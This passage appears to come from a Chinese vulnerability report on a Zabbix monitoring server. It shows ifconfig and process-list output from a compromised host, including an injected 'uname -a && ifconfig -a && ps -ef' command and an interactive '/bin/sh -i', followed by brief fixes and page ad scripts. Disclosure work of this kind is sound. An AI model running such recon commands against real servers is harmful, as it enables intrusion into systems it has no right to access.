TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: (819.4 GiB)
TX bytes: (494.1 GiB)
Interrupt:169 Memory:12800
Link encap:Ethernet
HWaddr 5C:F3:FC:E6:67:DE
BROADCAST MULTICAST
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b)
TX bytes:0 (0.0 b)
Interrupt:114 Memory:12800
Link encap:Local Loopback
inet addr:127.0.0.1
Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING
RX packets: errors:0 dropped:0 overruns:0 frame:0
TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes: (94.3 GiB)
TX bytes: (94.3 GiB)
Link encap:IPv6-in-IPv4
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b)
TX bytes:0 (0.0 b)
Link encap:Ethernet
HWaddr 5E:F3:FC:DE:67:DF
inet addr:169.254.95.120
Bcast:169.254.95.255
Mask:255.255.255.0
inet6 addr: fe80::5cf3:fcff:fede:67df/64 Scope:Link
UP BROADCAST RUNNING MULTICAST
RX packets: errors:0 dropped:0 overruns:0 frame:0
TX packets: errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: (2.3 GiB)
TX bytes: (842.2 MiB)
C STIME TTY
00:02:48 init [3]
00:00:00 [migration/0]
00:00:04 [ksoftirqd/0]
00:00:00 [watchdog/0]
00:04:33 [migration/1]
00:00:08 [ksoftirqd/1]
00:00:00 [watchdog/1]
00:03:23 [migration/2]
00:05:37 [ksoftirqd/2]
00:00:00 [watchdog/2]
00:03:02 [migration/3]
00:06:16 [ksoftirqd/3]
00:00:00 [watchdog/3]
00:00:02 [events/0]
00:00:02 [events/1]
00:00:03 [events/2]
00:00:03 [events/3]
00:00:00 [khelper]
00:00:00 [kthread]
00:00:09 [kblockd/0]
00:05:52 [kblockd/1]
00:12:08 [kblockd/2]
00:12:50 [kblockd/3]
00:00:00 [kacpid]
00:00:00 [cqueue/0]
00:00:00 [cqueue/1]
00:00:00 [cqueue/2]
00:00:00 [cqueue/3]
00:00:00 [khubd]
00:00:00 [kseriod]
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:29:11 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
01:46:05 /usr/local/zabbix2/sbin/zabbix_server
01:45:56 /usr/local/zabbix2/sbin/zabbix_server
01:45:52 /usr/local/zabbix2/sbin/zabbix_server
01:45:49 /usr/local/zabbix2/sbin/zabbix_server
01:46:04 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:01:16 /usr/local/zabbix2/sbin/zabbix_server
00:34:23 /usr/local/zabbix2/sbin/zabbix_server
00:00:45 /usr/local/zabbix2/sbin/zabbix_server
00:00:02 /usr/local/zabbix2/sbin/zabbix_server
00:20:26 /usr/local/zabbix2/sbin/zabbix_server
00:20:12 /usr/local/zabbix2/sbin/zabbix_server
00:20:17 /usr/local/zabbix2/sbin/zabbix_server
00:20:14 /usr/local/zabbix2/sbin/zabbix_server
00:00:01 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 /usr/local/zabbix2/sbin/zabbix_server
00:00:00 [khungtaskd]
01:52:21 [kswapd0]
00:00:00 [aio/0]
00:00:00 [aio/1]
00:00:00 [aio/2]
00:00:00 [aio/3]
00:00:00 [kpsmoused]
00:00:00 [scsi_eh_0]
00:00:00 [ata/0]
00:00:00 [ata/1]
00:00:00 [ata/2]
00:00:00 [ata/3]
00:00:00 [ata_aux]
00:00:00 [scsi_eh_1]
00:00:00 [scsi_eh_2]
00:00:00 [scsi_eh_3]
00:00:00 [scsi_eh_4]
00:00:00 [kstriped]
2-00:42:38 [kjournald]
00:00:47 [kauditd]
00:00:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data/ --pid-file=/tmp/mysql.pid
14-11:51:55 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data/ --user=mysql --log-error=/usr/local/mysql/data//tsung.err --pid-file=/tmp/mysql.pid --socket=/tmp/mysql.sock --port=3306
00:00:00 [kmpathd/0]
00:00:00 [kmpathd/1]
00:00:00 [kmpathd/2]
00:00:00 [kmpathd/3]
00:00:00 [kmpath_handlerd]
00:00:00 [kjournald]
00:05:34 [kjournald]
00:01:32 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-usb0.leases -pf /var/run/dhclient-usb0.pid usb0
04:25:00 syslogd -m 0
00:00:00 klogd -x
00:00:00 [kondemand/0]
00:00:00 [kondemand/1]
00:00:02 [kondemand/2]
00:00:03 [kondemand/3]
00:11:36 irqbalance
00:00:00 portmap
00:00:00 [rpciod/0]
00:00:00 [rpciod/1]
00:00:00 [rpciod/2]
00:00:00 [rpciod/3]
00:07:15 dbus-daemon --system
00:00:00 /usr/sbin/hcid
00:00:00 /usr/sbin/sdpd
00:00:00 [krfcommd]
00:00:00 /usr/sbin/acpid
00:00:05 hald
00:00:00 hald-runner
00:00:00 hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
00:00:00 /usr/bin/hidd --server
00:00:00 gpm -m /dev/input/mice -t exps2
00:01:15 crond
00:00:00 xfs -droppriv -daemon
00:00:00 /usr/sbin/atd
00:00:00 /usr/sbin/smartd -q never
00:00:00 /sbin/mingetty tty1
00:00:00 /sbin/mingetty tty2
00:00:00 /sbin/mingetty tty3
00:00:00 /sbin/mingetty tty4
00:00:00 /sbin/mingetty tty5
00:00:00 /sbin/mingetty tty6
00:39:34 /usr/bin/python -tt /usr/sbin/yum-updatesd
00:00:07 /usr/libexec/gam_server
00:00:04 sendmail: ./t0J94UmK006337 from queue
00:00:00 crond
00:00:00 [ntpdate] &defunct&
00:00:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
00:00:00 sendmail: ./t0KE95BR007268 man001.localdomain.: user open
00:00:00 sh -c uname -a && ifconfig -a &&ps -ef
00:00:00 ps -ef
00:00:00 SCREEN -S awstats
2014 pts/4
00:00:00 /bin/bash
00:00:00 /bin/sh -i
00:01:46 [pdflush]
00:00:00 /sbin/udevd -d
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 nginx: worker process
00:00:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:00:48 /usr/local/zabbix2/sbin/zabbix_agentd
00:10:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:09:53 /usr/local/zabbix2/sbin/zabbix_agentd
00:10:00 /usr/local/zabbix2/sbin/zabbix_agentd
00:15:05 sendmail: accepting connections
00:00:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
01:19:29 auditd
00:08:56 /sbin/audispd
00:10:08 /usr/sbin/sshd
00:03:27 pcscd
00:00:00 rpc.idmapd
00:00:00 rpc.statd
00:00:05 automount
00:00:00 cupsd
00:00:03 avahi-daemon: running [lenovo-man001.local]
00:00:00 avahi-daemon: chroot helper
00:00:00 /usr/local/lib/erlang/erts-5.7.2/bin/epmd -daemon
00:00:01 nginx: master process /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
00:00:02 /usr/local/memcached/bin/memcached -d -m 64 -uwww -p 11211
00:01:01 [pdflush]
00:00:06 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)
00:05:57 php-fpm: pool www
00:05:54 php-fpm: pool www
00:05:55 php-fpm: pool www
00:06:07 php-fpm: pool www
00:06:06 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:48 php-fpm: pool www
00:05:51 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:52 php-fpm: pool www
00:06:01 php-fpm: pool www
00:05:48 php-fpm: pool www
00:05:52 php-fpm: pool www
00:06:04 php-fpm: pool www
00:05:51 php-fpm: pool www
00:05:58 php-fpm: pool www
00:05:55 php-fpm: pool www
00:06:01 php-fpm: pool www
00:05:46 php-fpm: pool www
00:05:53 php-fpm: pool www
01:39:45 /usr/sbin/snmpd -Lsd -Lf /dev/null -p /var/run/snmpd.pid -a
00:00:00 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:23:36 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:31 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
08:59:36 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:09:46 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:49 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
01:35:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:15:26 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:04:27 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:55 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:54 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:51 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:05:53 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:47 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:03 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
04:10:50 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:20:52 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
1-14:44:33 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:08:15 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:28 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:29 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:49 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:13:37 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
02:14:10 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:02:09 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:23 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
00:00:33 /usr/local/zabbix/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
修复方案：
1.增加口令强度
2.限制访问
3.升级版本&
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'